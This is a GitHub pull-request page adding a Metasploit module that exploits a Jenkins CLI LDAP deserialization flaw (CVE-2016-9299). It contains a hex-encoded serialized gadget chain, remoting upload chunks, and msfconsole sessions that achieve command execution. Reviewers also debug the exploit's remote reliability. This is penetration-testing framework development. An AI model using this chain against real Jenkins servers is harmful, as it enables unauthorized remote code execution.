New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Exploit for CVE-2016-9299 (Jenkins CLI Ldap Deser) #7815

Merged
merged 8 commits into from May 16, 2018

Conversation

Projects
None yet
@notivan
Contributor

notivan commented Jan 11, 2017

when i was kid i dreamed of being russian hero
to hack american election and be awarded Герой Cоветского Союза by putin
i studied ten years at leningrad polytechnic majoring in computer
but then economy crashed
i could not even get job as devop
i was forced to work in block factory
the blocks descend upon me from above
they come down and I spin them around
til they fit in the ground like hand in glove
then one day foreman told us no more blocks
we were given print outs of a magnified slide by Matthias Kaiser
asked to type all the blurry characters we could see
and make up random characters for the ones we could not see
after two months of typing the bosses declared success
we had big party
someone said we would be going back to the blocks
i was so close becoming computer
one of the bosses Alisa Esage was boasting about hacking the DNC
i liberated her laptop and found this exploit on it

Verification

Tested:

  • Jenkins: 2.31
  • Java: 1.8.0_65-b17
Exploit for CVE-2016-9299 (Jenkins CLI Ldap Deser)
This is based on Matthias Kaiser's presentation at deepsec. We build a chain that connects back to our LDAP server and trigger it over the CLI HTTP interface. The LDAP server then serves a second chain based on YSOSerial commons-collection which triggers Runtime.exec. The second chain doesn't run with Jenkin's class filtering so succeeds.
@OJ

This comment has been minimized.

Show comment
Hide comment
@OJ

OJ Jan 11, 2017

Contributor

Best. Description. Ever.

Contributor

OJ commented Jan 11, 2017

Best. Description. Ever.

@wwebb-r7

This comment has been minimized.

Show comment
Hide comment
@wwebb-r7

wwebb-r7 Jan 12, 2017

Contributor

After that, I say just land it.

Contributor

wwebb-r7 commented Jan 12, 2017

After that, I say just land it.

@egypt egypt added the module label Jan 12, 2017

@danrl

This comment has been minimized.

Show comment
Hide comment
@danrl

danrl Jan 12, 2017

Beautiful! Entertaining wrapper for good work. 👍

danrl commented Jan 12, 2017

Beautiful! Entertaining wrapper for good work. 👍

@wyn-williams

This comment has been minimized.

Show comment
Hide comment
@wyn-williams

wyn-williams Jan 12, 2017

This makes me happy :)

wyn-williams commented Jan 12, 2017

This makes me happy :)

print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
raise Msf::OptionValidateError.new(['TARGETURI'])
end
end

This comment has been minimized.

@void-in

void-in Jan 12, 2017

Contributor

No need for all this validation. TARGETURI is a required datastore option. If it is nil, the datastore validation will kick in and prompt the user to enter a valid TARGETURI.

@void-in

void-in Jan 12, 2017

Contributor

No need for all this validation. TARGETURI is a required datastore option. If it is nil, the datastore validation will kick in and prompt the user to enter a valid TARGETURI.

This comment has been minimized.

@notivan

notivan Jan 12, 2017

Contributor

i've removed this validation

@notivan

notivan Jan 12, 2017

Contributor

i've removed this validation

"Content-Length: 0\r\n" +
"Content-Type: application/x-www-form-urlencoded\r\n\r\n")
download.read(20)

This comment has been minimized.

@void-in

void-in Jan 12, 2017

Contributor

Since this is standard HTTP communication, why not use the HTTPClient mixin which can help you a great deal. https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient

@void-in

void-in Jan 12, 2017

Contributor

Since this is standard HTTP communication, why not use the HTTPClient mixin which can help you a great deal. https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient

This comment has been minimized.

@notivan

notivan Jan 12, 2017

Contributor

I didn't see how to get HTTPClient to not wait for a response. The second one could probably be rewritten to use HTTPClient but then I think it would require the LDAP server client handling to be rewritten to be asynchronous.

@notivan

notivan Jan 12, 2017

Contributor

I didn't see how to get HTTPClient to not wait for a response. The second one could probably be rewritten to use HTTPClient but then I think it would require the LDAP server client handling to be rewritten to be asynchronous.

This comment has been minimized.

@void-in

void-in Jan 12, 2017

Contributor

@notivan There is nothing in the HTTPClient object that is preventing you from fire and forget. If you don't care for the response, you can generate the request through either send_request_raw or send_request_cgi. The reason why we care for the response is to make sure that the request actually hit the intended target. That is why we do:

res    = send_request_cgi({
method = 'POST'
uri    = normailze_uri(target_uri.path)
})
if res and res.code
<snip>

We can certainly do:

send_request_cgi({
method      = 'POST'
uri         = normalize_uri(target_uri.path)
})
<initialize the ldap client here

Checking the response is to make sure if the attacker machine can at least reach the target or if there is a Jenkins service running or not.

@void-in

void-in Jan 12, 2017

Contributor

@notivan There is nothing in the HTTPClient object that is preventing you from fire and forget. If you don't care for the response, you can generate the request through either send_request_raw or send_request_cgi. The reason why we care for the response is to make sure that the request actually hit the intended target. That is why we do:

res    = send_request_cgi({
method = 'POST'
uri    = normailze_uri(target_uri.path)
})
if res and res.code
<snip>

We can certainly do:

send_request_cgi({
method      = 'POST'
uri         = normalize_uri(target_uri.path)
})
<initialize the ldap client here

Checking the response is to make sure if the attacker machine can at least reach the target or if there is a Jenkins service running or not.

This comment has been minimized.

@notivan

notivan Jan 12, 2017

Contributor

if we check for the response then the exploit will timeout. both requests will never return a full response. jenkins never completes the response on both connections because they are used for bidirectional communication of unbounded number of messages. one connection is used for sending requests from us to jenkins and one connection is for sending responses from jenkins to us. but your welcome to try and replace the TCP code with send_request_cgi or send_request_raw to check if you can get it working. i'm not going to spend time trying to change something that i know won't work.

@notivan

notivan Jan 12, 2017

Contributor

if we check for the response then the exploit will timeout. both requests will never return a full response. jenkins never completes the response on both connections because they are used for bidirectional communication of unbounded number of messages. one connection is used for sending requests from us to jenkins and one connection is for sending responses from jenkins to us. but your welcome to try and replace the TCP code with send_request_cgi or send_request_raw to check if you can get it working. i'm not going to spend time trying to change something that i know won't work.

This comment has been minimized.

@notivan

notivan Jan 12, 2017

Contributor

but i noticed i'm missing a check method so maybe i can move a normal http request into there

@notivan

notivan Jan 12, 2017

Contributor

but i noticed i'm missing a check method so maybe i can move a normal http request into there

write_chunk(upload, "<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAP4=")
write_chunk(upload, "\00\00\00\00")
upload.flush

This comment has been minimized.

@void-in

void-in Jan 12, 2017

Contributor

This also looks like a standard POST request which can be handled by the HTTPClient mixin. https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient

@void-in

void-in Jan 12, 2017

Contributor

This also looks like a standard POST request which can be handled by the HTTPClient mixin. https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient

This comment has been minimized.

@notivan

notivan Jan 13, 2017

Contributor

as above we can't use HTTPClient because jenkins does not return a response

@notivan

notivan Jan 13, 2017

Contributor

as above we can't use HTTPClient because jenkins does not return a response

end
new_str
end

This comment has been minimized.

@void-in

void-in Jan 12, 2017

Contributor

If you happen to use the HTTPClient mixin, this can be handled through the normalize_uri method of HTTPClient mixin. https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient#uri-parsing

@void-in

void-in Jan 12, 2017

Contributor

If you happen to use the HTTPClient mixin, this can be handled through the normalize_uri method of HTTPClient mixin. https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient#uri-parsing

This comment has been minimized.

@RoganDawes

RoganDawes Jan 12, 2017

Because reviewers help contributors to write the code as best as possible, so that they can contribute more effectively the next time. "Just do it yourself" does not scale.

@RoganDawes

RoganDawes Jan 12, 2017

Because reviewers help contributors to write the code as best as possible, so that they can contribute more effectively the next time. "Just do it yourself" does not scale.

This comment has been minimized.

@wyn-williams

wyn-williams Jan 12, 2017

sod it deleting comments, they where badly phrased

@wyn-williams

wyn-williams Jan 12, 2017

sod it deleting comments, they where badly phrased

This comment has been minimized.

@notivan

notivan Jan 13, 2017

Contributor

we can't pull in the HTTPClient mixin because we are using the Tcp mixin connect() method and the HTTPClient mixin also defines the connect() method. As above we have to use tcp connect because jenkins does not return a response.

@notivan

notivan Jan 13, 2017

Contributor

we can't pull in the HTTPClient mixin because we are using the Tcp mixin connect() method and the HTTPClient mixin also defines the connect() method. As above we have to use tcp connect because jenkins does not return a response.

@PeterDavidCarter

This comment has been minimized.

Show comment
Hide comment
@PeterDavidCarter

PeterDavidCarter Jan 12, 2017

Alisa Shevchenko seems to be saying on her Twitter that this is indeed her exploit, though it's not 100% clear. The joke is funny, but I'm a little concerned as well as to whether it's a cover. I do like the block narrative though, and it definitely resonates with me.

PeterDavidCarter commented Jan 12, 2017

Alisa Shevchenko seems to be saying on her Twitter that this is indeed her exploit, though it's not 100% clear. The joke is funny, but I'm a little concerned as well as to whether it's a cover. I do like the block narrative though, and it definitely resonates with me.

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
STAGE1 = "aced00057372002b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e466c6174334d6170a300f47ee17184980300007870770400000002737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e4c6973744f726465726564536574fcd39ef6fa1ced530200014c00087365744f726465727400104c6a6176612f7574696c2f4c6973743b787200436f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e7365742e416273747261637453657269616c697a61626c655365744465636f7261746f72110ff46b96170e1b0300007870737200156e65742e73662e6a736f6e2e4a534f4e41727261795d01546f5c2872d20200025a000e657870616e64456c656d656e74734c0008656c656d656e747371007e0003787200186e65742e73662e6a736f6e2e41627374726163744a534f4ee88a13f4f69b3f82020000787000737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a65787000000001770400000001740008041ac080131d170678787371007e00090000000077040000000078737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c75657870017372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c697374536574dd985079bdcff15b0200014c00016d74002d4c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e744e6176696761626c654d61703b78707372002a6a6176612e7574696c2e636f6e63757272656e742e436f6e63757272656e74536b69704c6973744d6170884675ae061146a70300014c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870707372001f636f6d2e73756e2e6a6e64692e6c6461702e4c646170417474726962757465c47b6b02a60583c00300034c000a62617365437478456e767400154c6a6176612f7574696c2f486173687461626c653b4c000a6261736543747855524c7400124c6a6176612f6c616e672f537472696e673b4c000372646e7400134c6a617661782f6e616d696e672f4e616d653b787200256a617661782e6e616d696e672e6469726563746f72792e42617369634174747269627574655d95d32a668565be0300025a00076f7264657265644c000661747472494471007e001778700074000077040000000078707400156c6461703a2f2f6c6f63616c686f73743a313233347372001a6a617661782e6e616d696e672e436f6d706f736974654e616d6517251a4b93d67afe0300007870770400000000787871007e000e707871007e000e78"

This comment has been minimized.

@timwr

timwr Jan 12, 2017

Contributor

Might be worth adding comments with the YSOSerial arguments used to generate these.

@timwr

timwr Jan 12, 2017

Contributor

Might be worth adding comments with the YSOSerial arguments used to generate these.

This comment has been minimized.

@notivan

notivan Jan 12, 2017

Contributor

This comment has been minimized.

@timwr

timwr Jan 12, 2017

Contributor

Interesting, thanks :)

@timwr

timwr Jan 12, 2017

Contributor

Interesting, thanks :)

@aoighost

This comment has been minimized.

Show comment
Hide comment
@aoighost

aoighost commented Jan 12, 2017

Yes!

notivan added some commits Jan 12, 2017

add check for jenkins ldap exploit
we just check for X-Jenkins <= 2.31. this is not completely correct because the exploit probably doesn't work on some earlier versions.
@dmohanty-r7

This comment has been minimized.

Show comment
Hide comment
@dmohanty-r7

dmohanty-r7 Jan 13, 2017

Contributor

This works for me locally:

msf > use exploit/linux/misc/jenkins_ldap_deserialize
msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf'
CMD => touch /tmp/wtf
msf exploit(jenkins_ldap_deserialize) > run
[*] Exploit completed, but no session was created.
[~] ls /tmp/wtf
/tmp/wtf
Contributor

dmohanty-r7 commented Jan 13, 2017

This works for me locally:

msf > use exploit/linux/misc/jenkins_ldap_deserialize
msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf'
CMD => touch /tmp/wtf
msf exploit(jenkins_ldap_deserialize) > run
[*] Exploit completed, but no session was created.
[~] ls /tmp/wtf
/tmp/wtf
@notivan

This comment has been minimized.

Show comment
Hide comment
@notivan

notivan Jan 18, 2017

Contributor

sorry for delay
i had to london to read new alisa story
i didn't know she did dance
but just more fan fiction
by western arm of pravda

(https://twitter.com/badd1e/status/821775996613324800)

Contributor

notivan commented Jan 18, 2017

sorry for delay
i had to london to read new alisa story
i didn't know she did dance
but just more fan fiction
by western arm of pravda

(https://twitter.com/badd1e/status/821775996613324800)

@wwebb-r7

This comment has been minimized.

Show comment
Hide comment
@wwebb-r7

wwebb-r7 Jan 19, 2017

Contributor

Savage

Contributor

wwebb-r7 commented Jan 19, 2017

Savage

@MCKSysArgentina

This comment has been minimized.

Show comment
Hide comment
@MCKSysArgentina

MCKSysArgentina Jan 26, 2017

Works locally on Jenkins Windows targets too, but does not work on remote targets.

MCKSysArgentina commented Jan 26, 2017

Works locally on Jenkins Windows targets too, but does not work on remote targets.

@wvu-r7

This comment has been minimized.

Show comment
Hide comment
@wvu-r7

wvu-r7 Jan 27, 2017

Contributor

That has been my experience as well, @MCKSysArgentina.

Contributor

wvu-r7 commented Jan 27, 2017

That has been my experience as well, @MCKSysArgentina.

@notivan

This comment has been minimized.

Show comment
Hide comment
@notivan

notivan Jan 30, 2017

Contributor

@MCKSysArgentina @wvu-r7

What options did you provide to the module? Jenkins needs to be able to contact the ldap server running on your localhost. This can be controlled by LDAPHOST/SRVHOST/SRVPORT. I haven't actually been able to test it with a proper remote instance so it could be broken :(

Contributor

notivan commented Jan 30, 2017

@MCKSysArgentina @wvu-r7

What options did you provide to the module? Jenkins needs to be able to contact the ldap server running on your localhost. This can be controlled by LDAPHOST/SRVHOST/SRVPORT. I haven't actually been able to test it with a proper remote instance so it could be broken :(

@MCKSysArgentina

This comment has been minimized.

Show comment
Hide comment
@MCKSysArgentina

MCKSysArgentina Jan 30, 2017

In my tests, I provide the LDAPHOST and Jenkins connects to the LDAP server (I checked this with Wireshark). All the responses were sent, but no RCE occurs.

MCKSysArgentina commented Jan 30, 2017

In my tests, I provide the LDAPHOST and Jenkins connects to the LDAP server (I checked this with Wireshark). All the responses were sent, but no RCE occurs.

@ic3z

This comment has been minimized.

Show comment
Hide comment
@ic3z

ic3z Feb 9, 2017

This not working for me locally:

image

image

image

ic3z commented Feb 9, 2017

This not working for me locally:

image

image

image

Fix Jenkins Ldap Deserialization Remote Use
It appears the original exploit had been deliberately sabotaged to not work remotely. We have fixed this egregious error.
@notivan

This comment has been minimized.

Show comment
Hide comment
@notivan

notivan Feb 14, 2017

Contributor

suspect not working remotely was openjdk
openjdk sent abandonRequest
dodgy ldap server now handle abandonRequest

@wvu-r7 @ic3z @MCKSysArgentina

Contributor

notivan commented Feb 14, 2017

suspect not working remotely was openjdk
openjdk sent abandonRequest
dodgy ldap server now handle abandonRequest

@wvu-r7 @ic3z @MCKSysArgentina

@bwatters-r7

This comment has been minimized.

Show comment
Hide comment
@bwatters-r7

bwatters-r7 Mar 22, 2017

Contributor

Testing

msfconsole

msf exploit(jenkins_ldap_deserialize) > show options

Module options (exploit/linux/misc/jenkins_ldap_deserialize):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LDAPHOST   127.0.0.1        yes       The ldap host the exploit will try to connect to 
   RHOST      <JENKINS_IP>   yes       The target address
   RPORT      8080             yes       The target port
   SRVHOST    127.0.0.1        yes       The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0
   SRVPORT    1389             yes       The local port to listen on for the ldap server.
   TARGETURI  /                yes       The base path to Jenkins


Payload options (cmd/unix/generic):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD   touch /tmp/wtf   yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   Jenkins 2.31


msf exploit(jenkins_ldap_deserialize) > 

(I also tried the external interface for the ldaphost value and the srvport value)

Remote System:

Linux ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
openjdk-8-jdk
Mar 22, 2017 7:45:40 AM hudson.remoting.SynchronousCommandTransport$ReaderThread run
SEVERE: Unexpected error in channel HTTP full-duplex channel b85bfc87-97c2-44c8-b856-7a37a3e6b76c
net.sf.json.JSONException: java.lang.reflect.InvocationTargetException
	at net.sf.json.JSONObject.defaultBeanProcessing(JSONObject.java:765)
	at net.sf.json.JSONObject._fromBean(JSONObject.java:642)
	at net.sf.json.JSONObject.fromObject(JSONObject.java:169)
	at net.sf.json.AbstractJSON._processValue(AbstractJSON.java:250)
	at net.sf.json.JSONArray._processValue(JSONArray.java:2492)
	at net.sf.json.JSONArray.processValue(JSONArray.java:2517)
	at net.sf.json.JSONArray.addValue(JSONArray.java:2504)
	at net.sf.json.JSONArray._fromCollection(JSONArray.java:1056)
	at net.sf.json.JSONArray.fromObject(JSONArray.java:123)
	at net.sf.json.JSONArray.containsAll(JSONArray.java:1310)
	at net.sf.json.JSONArray.containsAll(JSONArray.java:1306)
	at org.apache.commons.collections.collection.AbstractCollectionDecorator.containsAll(AbstractCollectionDecorator.java:120)
	at java.util.concurrent.ConcurrentSkipListSet.equals(ConcurrentSkipListSet.java:310)
	at org.apache.commons.collections.map.Flat3Map.put(Flat3Map.java:299)
	at org.apache.commons.collections.map.Flat3Map.readObject(Flat3Map.java:1003)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2122)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2013)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1535)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)
	at hudson.remoting.Command.readFrom(Command.java:96)
	at hudson.remoting.AbstractSynchronousByteArrayCommandTransport.read(AbstractSynchronousByteArrayCommandTransport.java:34)
	at hudson.remoting.SynchronousCommandTransport$ReaderThread.run(SynchronousCommandTransport.java:59)
Caused by: java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2170)
	at org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(PropertyUtilsBean.java:1332)
	at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:770)
	at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:846)
	at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
	at net.sf.json.JSONObject.defaultBeanProcessing(JSONObject.java:692)
	... 26 more
Caused by: javax.naming.CommunicationException: 127.0.0.1:1389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:226)
	at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
	at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1614)
	at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2746)
	at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319)
	at com.sun.jndi.ldap.LdapCtxFactory.getUsingURL(LdapCtxFactory.java:192)
	at com.sun.jndi.ldap.LdapCtxFactory.getUsingURLs(LdapCtxFactory.java:210)
	at com.sun.jndi.ldap.LdapCtxFactory.getLdapCtxInstance(LdapCtxFactory.java:153)
	at com.sun.jndi.ldap.LdapCtxFactory.getInitialContext(LdapCtxFactory.java:83)
	at javax.naming.spi.NamingManager.getInitialContext(NamingManager.java:684)
	at javax.naming.InitialContext.getDefaultInitCtx(InitialContext.java:313)
	at javax.naming.InitialContext.init(InitialContext.java:244)
	at javax.naming.InitialContext.<init>(InitialContext.java:216)
	at javax.naming.directory.InitialDirContext.<init>(InitialDirContext.java:101)
	at com.sun.jndi.ldap.LdapAttribute.getBaseCtx(LdapAttribute.java:119)
	at com.sun.jndi.ldap.LdapAttribute.getAttributeDefinition(LdapAttribute.java:207)
	... 36 more
Caused by: java.net.ConnectException: Connection refused (Connection refused)
	at java.net.PlainSocketImpl.socketConnect(Native Method)
	at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
	at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
	at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
	at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
	at java.net.Socket.connect(Socket.java:589)
	at java.net.Socket.connect(Socket.java:538)
	at java.net.Socket.<init>(Socket.java:434)
	at java.net.Socket.<init>(Socket.java:211)
	at com.sun.jndi.ldap.Connection.createSocket(Connection.java:363)
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:203)
	... 51 more

Mar 22, 2017 7:45:40 AM hudson.init.impl.InstallUncaughtExceptionHandler$DefaultUncaughtExceptionHandler uncaughtException
SEVERE: A thread (Channel reader thread: HTTP full-duplex channel b85bfc87-97c2-44c8-b856-7a37a3e6b76c/61) died unexpectedly due to an uncaught exception, this may leave your Jenkins in a bad way and is usually indicative of a bug in the code.
net.sf.json.JSONException: java.lang.reflect.InvocationTargetException
	at net.sf.json.JSONObject.defaultBeanProcessing(JSONObject.java:765)
	at net.sf.json.JSONObject._fromBean(JSONObject.java:642)
	at net.sf.json.JSONObject.fromObject(JSONObject.java:169)
	at net.sf.json.AbstractJSON._processValue(AbstractJSON.java:250)
	at net.sf.json.JSONArray._processValue(JSONArray.java:2492)
	at net.sf.json.JSONArray.processValue(JSONArray.java:2517)
	at net.sf.json.JSONArray.addValue(JSONArray.java:2504)
	at net.sf.json.JSONArray._fromCollection(JSONArray.java:1056)
	at net.sf.json.JSONArray.fromObject(JSONArray.java:123)
	at net.sf.json.JSONArray.containsAll(JSONArray.java:1310)
	at net.sf.json.JSONArray.containsAll(JSONArray.java:1306)
	at org.apache.commons.collections.collection.AbstractCollectionDecorator.containsAll(AbstractCollectionDecorator.java:120)
	at java.util.concurrent.ConcurrentSkipListSet.equals(ConcurrentSkipListSet.java:310)
	at org.apache.commons.collections.map.Flat3Map.put(Flat3Map.java:299)
	at org.apache.commons.collections.map.Flat3Map.readObject(Flat3Map.java:1003)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1058)
	at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2122)
	at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2013)
	at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1535)
	at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)
	at hudson.remoting.Command.readFrom(Command.java:96)
	at hudson.remoting.AbstractSynchronousByteArrayCommandTransport.read(AbstractSynchronousByteArrayCommandTransport.java:34)
	at hudson.remoting.SynchronousCommandTransport$ReaderThread.run(SynchronousCommandTransport.java:59)
Caused by: java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(PropertyUtilsBean.java:2170)
	at org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(PropertyUtilsBean.java:1332)
	at org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(PropertyUtilsBean.java:770)
	at org.apache.commons.beanutils.PropertyUtilsBean.getProperty(PropertyUtilsBean.java:846)
	at org.apache.commons.beanutils.PropertyUtils.getProperty(PropertyUtils.java:426)
	at net.sf.json.JSONObject.defaultBeanProcessing(JSONObject.java:692)
	... 26 more
Caused by: javax.naming.CommunicationException: 127.0.0.1:1389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:226)
	at com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
	at com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1614)
	at com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2746)
	at com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:319)
	at com.sun.jndi.ldap.LdapCtxFactory.getUsingURL(LdapCtxFactory.java:192)
	at com.sun.jndi.ldap.LdapCtxFactory.getUsingURLs(LdapCtxFactory.java:210)
	at com.sun.jndi.ldap.LdapCtxFactory.getLdapCtxInstance(LdapCtxFactory.java:153)
	at com.sun.jndi.ldap.LdapCtxFactory.getInitialContext(LdapCtxFactory.java:83)
	at javax.naming.spi.NamingManager.getInitialContext(NamingManager.java:684)
	at javax.naming.InitialContext.getDefaultInitCtx(InitialContext.java:313)
	at javax.naming.InitialContext.init(InitialContext.java:244)
	at javax.naming.InitialContext.<init>(InitialContext.java:216)
	at javax.naming.directory.InitialDirContext.<init>(InitialDirContext.java:101)
	at com.sun.jndi.ldap.LdapAttribute.getBaseCtx(LdapAttribute.java:119)
	at com.sun.jndi.ldap.LdapAttribute.getAttributeDefinition(LdapAttribute.java:207)
	... 36 more
Caused by: java.net.ConnectException: Connection refused (Connection refused)
	at java.net.PlainSocketImpl.socketConnect(Native Method)
	at java.net.AbstractPlainSocketImpl.doConnect(AbstractPlainSocketImpl.java:350)
	at java.net.AbstractPlainSocketImpl.connectToAddress(AbstractPlainSocketImpl.java:206)
	at java.net.AbstractPlainSocketImpl.connect(AbstractPlainSocketImpl.java:188)
	at java.net.SocksSocketImpl.connect(SocksSocketImpl.java:392)
	at java.net.Socket.connect(Socket.java:589)
	at java.net.Socket.connect(Socket.java:538)
	at java.net.Socket.<init>(Socket.java:434)
	at java.net.Socket.<init>(Socket.java:211)
	at com.sun.jndi.ldap.Connection.createSocket(Connection.java:363)
	at com.sun.jndi.ldap.Connection.<init>(Connection.java:203)
	... 51 more
Contributor

bwatters-r7 commented Mar 22, 2017

Testing

msfconsole

msf exploit(jenkins_ldap_deserialize) > show options

Module options (exploit/linux/misc/jenkins_ldap_deserialize):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   LDAPHOST   127.0.0.1        yes       The ldap host the exploit will try to connect to 
   RHOST      <JENKINS_IP>   yes       The target address
   RPORT      8080             yes       The target port
   SRVHOST    127.0.0.1        yes       The local host to listen on for the ldap server. This must be an address on the local machine or 0.0.0.0
   SRVPORT    1389             yes       The local port to listen on for the ldap server.
   TARGETURI  /                yes       The base path to Jenkins


Payload options (cmd/unix/generic):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD   touch /tmp/wtf   yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   Jenkins 2.31


msf exploit(jenkins_ldap_deserialize) > 

(I also tried the external interface for the ldaphost value and the srvport value)

Remote System:

Linux ubuntu 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
openjdk-8-jdk
Mar 22, 2017 7:45:40 AM hudson.remoting.SynchronousCommandTransport$ReaderThread run
SEVERE: Unexpected error in channel HTTP full-duplex channel b85bfc87-97c2-44c8-b856-7a37a3e6b76c
net.sf.json.JSONException: java.lang.reflect.InvocationTargetException
	at net.sf.json.JSONObject.defaultBeanProcessing(JSONObject.java:765)
	at net.sf.json.JSONObject._fromBean(JSONObject.java:642)
	at net.sf.json.JSONObject.fromObject(JSONObject.java:169)
	at net.sf.json.AbstractJSON._processValue(AbstractJSON.java:250)
	at net.sf.json.JSONArray._processValue(JSONArray.java:2492)
	at net.sf.json.JSONArray.processValue(JSONArray.java:2517)
	at net.sf.json.JSONArray.addValue(JSONArray.java:2504)
	at net.sf.json.JSONArray._fromCollection(JSONArray.java:1056)
	at net.sf.json.JSONArray.fromObject(JSONArray.java:123)
	at net.sf.json.JSONArray.containsAll(JSONArray.java:1310)
	at net.sf.json.JSONArray.containsAll(JSONArray.java:1306)
	at org.apache.commons.collections.collection.AbstractCollectionDecorator.containsAll(AbstractCollectionDecorator.java:120)
	at java.util.concurrent.ConcurrentSkipListSet.equals(ConcurrentSkipListSet.java:310)
	at org.apache.commons.collections.map.Flat3Map.put(Flat3Map.java:299)
	at org.apache.commons.collections.map.Flat3Map.readObject(Flat3Map.java:1003)
